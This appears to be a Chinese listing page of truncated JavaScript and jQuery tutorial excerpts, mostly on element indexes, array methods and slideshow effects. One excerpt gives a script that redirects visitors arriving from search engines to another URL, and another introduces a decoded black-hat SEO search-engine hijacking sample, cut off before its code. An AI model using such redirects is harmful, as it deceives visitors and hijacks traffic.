首先我们需要一个html结构<div > <ul> <li>a</li> <li>a</li> <li>a</li> <li>a</li> <li>a</li> </ul> </div>我们遍历ul 下所有的li 并添加点击事件,一般我们会在for循环里面添加点击事件,但是结果和我们所期盼不一样,那么是为什么呢????接下来看看我们的js代码var li = document.getElementsByTagName(li); for(var i = 0;i<li.length;i++){ (function(Index){ li[i].addEventListener(click,function(e){ alert(I am li...
本文实例讲述了jQuery实现获取元素索引值index的方法。分享给大家供大家参考,具体如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>jquery获取索引值</title> <style type="text/css">*{margin:0; paddin...
POP 删除最后一项删除最后一项,并返回删除元素的值;如果数组为空则返回undefine var a = [1,2,3,4,5]; a.pop();//a:[1, 2, 3, 4] a.pop();//a:[1, 2, 3] a.pop();//a:[1, 2] shift 删除第一项删除原数组第一项,并返回删除元素的值;如果数组为空则返回undefine var a = [1,2,3,4,5]; a.shift(); //a:[2,3,4,5] a.shift(); //a:[3, 4, 5] push 增加到最后并返回新数组长度; var a = [1,2,3,4,5]; a.push(6);//[1, 2, 3, 4...
在现在代浏览器中判断一个元素在不在一个数组中,咱们可以用Array对象的indexOf()方法来取得这个元素在当前数组中的索引值,若索引值不等于-1,数组中就存在这个元素, 例如: var arr = [2,53,23,test,9,array]; //判断array在不在数组arr中 arr.indexOf(array) !== -1 ? alert(存在) : alert(不存在); 但是IE9以前的版本都不支持此方法,那咱们就只能扩展一个:代码如下 Array.prototype.indexOf = function(el){for (var i=0,n=...
大家在浏览Facebook的相册时有没有发现,页面局部刷新的同时地址栏的地址也改变了,而且不是hash的方式。它使用的就是HTML5 history新增的几个API,作为window的一个全局变量,在HTML4的时代history已不是什么新鲜的事物了。我们经常使用的就有 history.back()以及history.go() 。 我一直以为没有办法做到,直到前两天看到了Discourse创始人之一的Robin Ward的解决方法,不禁拍案叫绝。Discourse是一个论坛程序,严重依赖Ajax,但是...
本文实例讲述了js实现索引图片切换效果的代码。分享给大家供大家参考。具体如下: 运行效果截图如下:具体代码如下 html代码: <div id="slideshowHolder"><img src="img/1.jpg" /><img src="img/2.jpg" /><img src="img/3.jpg" /></div>css代码: .ft-prev, .ft-next {background-color: #000;padding: 0 10px;color:#fff;} js代码: $(document).ready(function () {$(#slideshowHolder).jqFancyTransitions({effect: , // wave,...
以下javascript脚本代码可以实现判断访问是否来自搜索引擎。 代码如下: <script type="text/javascript"> if(window.name != ad_app6){ var r = document.referrer; r = r.toLowerCase(); //转为小写 var aSites = new Array(google.,baidu.,sm.,soso.,so.,360.,yahoo.,youdao.,sogou.,gougou.); var b = false; for (i in aSites){ if (r.indexOf(aSites[i]) > 0){ b = true; break; } }if(b) { self.location = 要跳转的网址; w...
本文实例讲述了jquery带有索引按钮且自动轮播切换特效。分享给大家供大家参考。具体如下: 这是一款基于jquery实现的带有索引按钮且自动轮播切换特效代码,实现过程很简单。 运行效果图: -------------------查看效果 下载源码-------------------小提示:浏览器中如果不能正常运行,可以尝试切换浏览模式。 在head区域引入CSS样式:<link rel="stylesheet" href="css/reset.css" media="screen"> <...
今天在浏览网页时无意中发现了这段JS劫持搜索引擎代码。劫持搜索引擎正常搜索过来的流量,这是黑帽seo常用的劫持方法。特意解密出来供大家了解其劫持原理。 源码打印帮助 <SCRIPT language="<span id="0_nwp" style="width: auto; height: auto; float: none;"><a id="0_nwl" href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=javascript&k0=java...
本文实例讲述了javascript实现数组内值索引随机化及创建随机数组的方法。分享给大家供大家参考。具体如下: 今天在QW交流群里看到有同学讨论使数组随机化的问题,其中给出的算法很不错,让我想起了之前自己实现过的不怎么“漂亮”的方法。想想我们有时候在繁忙的写业务代码时只是为了实现其功能,并未花太大心思去思考是否有更好的实现方法。 就这个数组问题(随即排序一个数组里的值,返回一个新数组)来说,我以前的实现方法是这样...
从题目说起,之所以是不完全,是因为有些东西比如数组的方法怎么用这个我都不打算讲,因为那个看一下都会,下面讲的都是我觉得重要的,只关于数组对象本身。另外,由于我的Javascript实战经验不多,所以可能有些东西没涉及到,有些内容说的有误,请发现问题的同学不吝指教。 首先,Javascript(下称js)的数组定义,这不是重点,简单说下,下面两句都是创建一个空的数组:var arr = [];var arr2 = new Array(); // 不写new也可以。...
本文实例讲述了jquery获取当前元素索引值用法。分享给大家供大家参考。具体如下: 今天在做促销页面的图片轮转效果时,下方页码的左边需要对应显示图片的说明信息,效果如下:思路: 页面部分当为当前状态的时候,会添加“active”样式。 通过获取 li class="active" 的索引值,对应找到相应的图片说明信息,显示出来。 解决: 通过jquery的 index() 可以很轻松的实现该效果。 代码如下: HTML: <div id="carousel"> <div id="car...
本文实例讲述了JavaScript通过元素索引号删除数组中对应元素的方法。分享给大家供大家参考。具体分析如下: JavaScript通过元素的索引号删除数组中的元素,如果要删除第3个元素,则使用RemoveValByIndex(2)即可,JS数组从0开始 function RemoveValByIndex(arr, index) {arr.splice(index, 1); } test = new Array(); test[0] = Apple; test[1] = Ball; test[2] = Cat; test[3] = Dog; alert("Array before removing elements: "+te...
本文实例讲述了jQuery在ul中显示某个li索引号的方法。分享给大家供大家参考。具体分析如下: 这段代码不仅适用于ul和li的元素索引号查找,也适用于其它带有包含关系的元素索引号查找,方法非常的巧妙 $("ul > li").click(function () {// //www.gxlcms.comvar index = $(this).prevAll().length; //prevAll([expr]): 查找当前元素之前所有的同辈元素 });希望本文所述对大家的jQuery程序设计有所帮助。
本文实例讲述了javascript使用for循环批量注册的事件不能正确获取索引值的解决方法。分享给大家供大家参考。具体分析如下: 可能不少朋友会遇到一个问题,那就是当使用for循环批量注册事件处理函数,然后最后通过事件处理函数获取当前元素的索引值的时候会失败,先看一段代码实例:代码如下: <!DOCTYPE html> <html> <head> <meta charset=" utf-8"> <meta name="author" content="//www.gxlcms.com/" /> <title>脚本之家</title> <...